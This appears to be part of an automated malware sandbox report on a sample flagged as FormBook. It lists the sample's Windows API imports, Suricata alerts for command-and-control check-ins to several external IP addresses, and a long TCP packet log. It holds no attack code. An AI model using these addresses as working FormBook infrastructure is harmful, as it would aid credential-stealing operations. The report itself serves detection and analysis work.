GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T12:46:29.988778+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49736	81.88.63.46	80	TCP
2024-09-25T12:46:29.988778+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49736	81.88.63.46	80	TCP
2024-09-25T12:46:46.637813+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49737	217.70.184.50	80	TCP
2024-09-25T12:46:49.260057+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49738	217.70.184.50	80	TCP
2024-09-25T12:46:51.747916+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49739	217.70.184.50	80	TCP
2024-09-25T12:46:54.950374+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49740	217.70.184.50	80	TCP
2024-09-25T12:46:54.950374+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49740	217.70.184.50	80	TCP
2024-09-25T12:47:00.696604+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49742	172.96.187.60	80	TCP
2024-09-25T12:47:03.240302+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49743	172.96.187.60	80	TCP
2024-09-25T12:47:05.798338+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49744	172.96.187.60	80	TCP
2024-09-25T12:47:08.338133+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49745	172.96.187.60	80	TCP
2024-09-25T12:47:08.338133+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49745	172.96.187.60	80	TCP
2024-09-25T12:47:13.838742+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49746	3.33.130.190	80	TCP
2024-09-25T12:47:17.316782+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49747	3.33.130.190	80	TCP
2024-09-25T12:47:20.010252+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49748	3.33.130.190	80	TCP
2024-09-25T12:47:21.516611+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49749	3.33.130.190	80	TCP
2024-09-25T12:47:21.516611+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49749	3.33.130.190	80	TCP
2024-09-25T12:47:27.411768+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49750	67.223.117.189	80	TCP
2024-09-25T12:47:29.890026+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49751	67.223.117.189	80	TCP
2024-09-25T12:47:32.412218+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49752	67.223.117.189	80	TCP
2024-09-25T12:47:34.943685+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49753	67.223.117.189	80	TCP
2024-09-25T12:47:34.943685+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49753	67.223.117.189	80	TCP
2024-09-25T12:47:41.807158+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49754	103.248.137.209	80	TCP
2024-09-25T12:47:44.354366+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49755	103.248.137.209	80	TCP
2024-09-25T12:47:46.904785+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49756	103.248.137.209	80	TCP
2024-09-25T12:48:09.394601+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49757	103.248.137.209	80	TCP
2024-09-25T12:48:09.394601+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49757	103.248.137.209	80	TCP
2024-09-25T12:48:22.972850+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49758	3.33.130.190	80	TCP
2024-09-25T12:48:25.532954+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49759	3.33.130.190	80	TCP
2024-09-25T12:48:28.066243+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49760	3.33.130.190	80	TCP
2024-09-25T12:48:30.640903+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49761	3.33.130.190	80	TCP
2024-09-25T12:48:30.640903+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49761	3.33.130.190	80	TCP
2024-09-25T12:48:37.387909+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49762	3.33.130.190	80	TCP
2024-09-25T12:48:39.932241+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49763	3.33.130.190	80	TCP
2024-09-25T12:48:41.416916+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49764	3.33.130.190	80	TCP
2024-09-25T12:48:43.979967+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49765	3.33.130.190	80	TCP
2024-09-25T12:48:43.979967+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49765	3.33.130.190	80	TCP
2024-09-25T12:48:49.969654+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49766	85.153.138.113	80	TCP
2024-09-25T12:48:52.523896+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49767	85.153.138.113	80	TCP
2024-09-25T12:48:55.215174+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49768	85.153.138.113	80	TCP
2024-09-25T12:48:57.629655+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49769	85.153.138.113	80	TCP
2024-09-25T12:48:57.629655+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49769	85.153.138.113	80	TCP
2024-09-25T12:49:03.768976+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49770	104.21.11.31	80	TCP
2024-09-25T12:49:06.298093+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49771	104.21.11.31	80	TCP
2024-09-25T12:49:09.089476+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49772	104.21.11.31	80	TCP
2024-09-25T12:49:11.931245+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49773	104.21.11.31	80	TCP
2024-09-25T12:49:11.931245+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49773	104.21.11.31	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 12:46:29.296824932 CEST	49736	80	192.168.2.4	81.88.63.46
Sep 25, 2024 12:46:29.301723003 CEST	80	49736	81.88.63.46	192.168.2.4
Sep 25, 2024 12:46:29.301840067 CEST	49736	80	192.168.2.4	81.88.63.46
Sep 25, 2024 12:46:29.308563948 CEST	49736	80	192.168.2.4	81.88.63.46
Sep 25, 2024 12:46:29.313462973 CEST	80	49736	81.88.63.46	192.168.2.4
Sep 25, 2024 12:46:29.988576889 CEST	80	49736	81.88.63.46	192.168.2.4
Sep 25, 2024 12:46:29.988640070 CEST	80	49736	81.88.63.46	192.168.2.4
Sep 25, 2024 12:46:29.988778114 CEST	49736	80	192.168.2.4	81.88.63.46
Sep 25, 2024 12:46:29.991929054 CEST	49736	80	192.168.2.4	81.88.63.46
Sep 25, 2024 12:46:29.996964931 CEST	80	49736	81.88.63.46	192.168.2.4
Sep 25, 2024 12:46:46.030462027 CEST	49737	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:46.035830021 CEST	80	49737	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:46.035914898 CEST	49737	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:46.048444986 CEST	49737	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:46.053349018 CEST	80	49737	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:46.637725115 CEST	80	49737	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:46.637742043 CEST	80	49737	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:46.637813091 CEST	49737	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:47.557025909 CEST	49737	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:48.575532913 CEST	49738	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:48.580616951 CEST	80	49738	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:48.580754995 CEST	49738	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:48.591730118 CEST	49738	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:48.596513987 CEST	80	49738	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:49.215470076 CEST	80	49738	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:49.260056973 CEST	49738	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:49.434498072 CEST	80	49738	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:49.434572935 CEST	80	49738	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:49.434640884 CEST	49738	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:49.434642076 CEST	49738	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:50.103879929 CEST	49738	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:51.122782946 CEST	49739	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:51.128668070 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.128751993 CEST	49739	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:51.139370918 CEST	49739	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:51.144609928 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.144625902 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.144639969 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.144649029 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.144658089 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.144680977 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.144690037 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.144699097 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.145087004 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.747678995 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.747853041 CEST	80	49739	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:51.747915983 CEST	49739	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:52.650767088 CEST	49739	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:53.670685053 CEST	49740	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:54.349356890 CEST	80	49740	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:54.349723101 CEST	49740	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:54.357356071 CEST	49740	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:54.362328053 CEST	80	49740	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:54.950181007 CEST	80	49740	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:54.950196981 CEST	80	49740	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:54.950206995 CEST	80	49740	217.70.184.50	192.168.2.4
Sep 25, 2024 12:46:54.950373888 CEST	49740	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:54.955832005 CEST	49740	80	192.168.2.4	217.70.184.50
Sep 25, 2024 12:46:54.961429119 CEST	80	49740	217.70.184.50	192.168.2.4
Sep 25, 2024 12:47:00.237888098 CEST	49742	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:00.242842913 CEST	80	49742	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:00.242919922 CEST	49742	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:00.253182888 CEST	49742	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:00.258025885 CEST	80	49742	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:00.696494102 CEST	80	49742	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:00.696511984 CEST	80	49742	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:00.696604013 CEST	49742	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:01.761370897 CEST	49742	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:02.778814077 CEST	49743	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:02.783682108 CEST	80	49743	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:02.783791065 CEST	49743	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:02.794791937 CEST	49743	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:02.799645901 CEST	80	49743	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:03.239924908 CEST	80	49743	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:03.240220070 CEST	80	49743	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:03.240302086 CEST	49743	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:04.307553053 CEST	49743	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:05.326919079 CEST	49744	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:05.332516909 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.332601070 CEST	49744	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:05.344904900 CEST	49744	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:05.352102041 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.352117062 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.352128029 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.352139950 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.352152109 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.352205992 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.352219105 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.352230072 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.352241993 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.797883034 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.798288107 CEST	80	49744	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:05.798337936 CEST	49744	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:06.853897095 CEST	49744	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:07.873565912 CEST	49745	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:07.878520966 CEST	80	49745	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:07.878652096 CEST	49745	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:07.887039900 CEST	49745	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:07.891868114 CEST	80	49745	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:08.337837934 CEST	80	49745	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:08.337918043 CEST	80	49745	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:08.338133097 CEST	49745	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:08.342025995 CEST	49745	80	192.168.2.4	172.96.187.60
Sep 25, 2024 12:47:08.350539923 CEST	80	49745	172.96.187.60	192.168.2.4
Sep 25, 2024 12:47:13.375998020 CEST	49746	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:13.384107113 CEST	80	49746	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:13.384177923 CEST	49746	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:13.400037050 CEST	49746	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:13.404890060 CEST	80	49746	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:13.838654041 CEST	80	49746	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:13.838742018 CEST	49746	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:14.916475058 CEST	49746	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:14.921328068 CEST	80	49746	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:15.936326981 CEST	49747	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:15.941230059 CEST	80	49747	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:15.941307068 CEST	49747	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:15.956368923 CEST	49747	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:15.961257935 CEST	80	49747	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:17.316632986 CEST	80	49747	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:17.316781998 CEST	49747	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:17.463530064 CEST	49747	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:17.468610048 CEST	80	49747	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:18.481421947 CEST	49748	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:18.489424944 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:18.489515066 CEST	49748	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:18.498404026 CEST	49748	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:18.506987095 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:18.506999969 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:18.507006884 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:18.507083893 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:18.507091999 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:18.508768082 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:18.508778095 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:18.508780956 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:18.509174109 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:20.010251999 CEST	49748	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:20.015778065 CEST	80	49748	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:20.015984058 CEST	49748	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:21.053649902 CEST	49749	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:21.058702946 CEST	80	49749	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:21.058805943 CEST	49749	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:21.065594912 CEST	49749	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:21.070488930 CEST	80	49749	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:21.516455889 CEST	80	49749	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:21.516558886 CEST	80	49749	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:21.516611099 CEST	49749	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:21.519119978 CEST	49749	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:47:21.526412964 CEST	80	49749	3.33.130.190	192.168.2.4
Sep 25, 2024 12:47:26.724991083 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:26.729835033 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:26.730005026 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:26.743124962 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:26.747953892 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411669016 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411685944 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411695957 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411706924 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411719084 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411729097 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411741018 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411752939 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411763906 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411767960 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.411767960 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.411773920 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411787033 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.411820889 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.411820889 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.416769981 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.416846991 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.416920900 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.446911097 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.446991920 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.447026968 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.447036028 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.447062969 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.447082996 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.447101116 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.447254896 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.447293043 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.447325945 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.447380066 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.447386026 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.447429895 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.447463989 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.447484016 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.448113918 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.448164940 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.448167086 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.448200941 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.448234081 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.448268890 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.448318005 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.448318005 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:27.448901892 CEST	80	49750	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:27.449425936 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:28.244560957 CEST	49750	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.271991968 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.278112888 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.278209925 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.288917065 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.293889999 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.889935017 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.889986038 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.890003920 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.890019894 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.890026093 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.890037060 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.890053034 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.890053988 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.890072107 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.890085936 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.890089035 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.890101910 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.890119076 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.890120983 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.890166998 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.897145987 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.897180080 CEST	80	49751	67.223.117.189	192.168.2.4
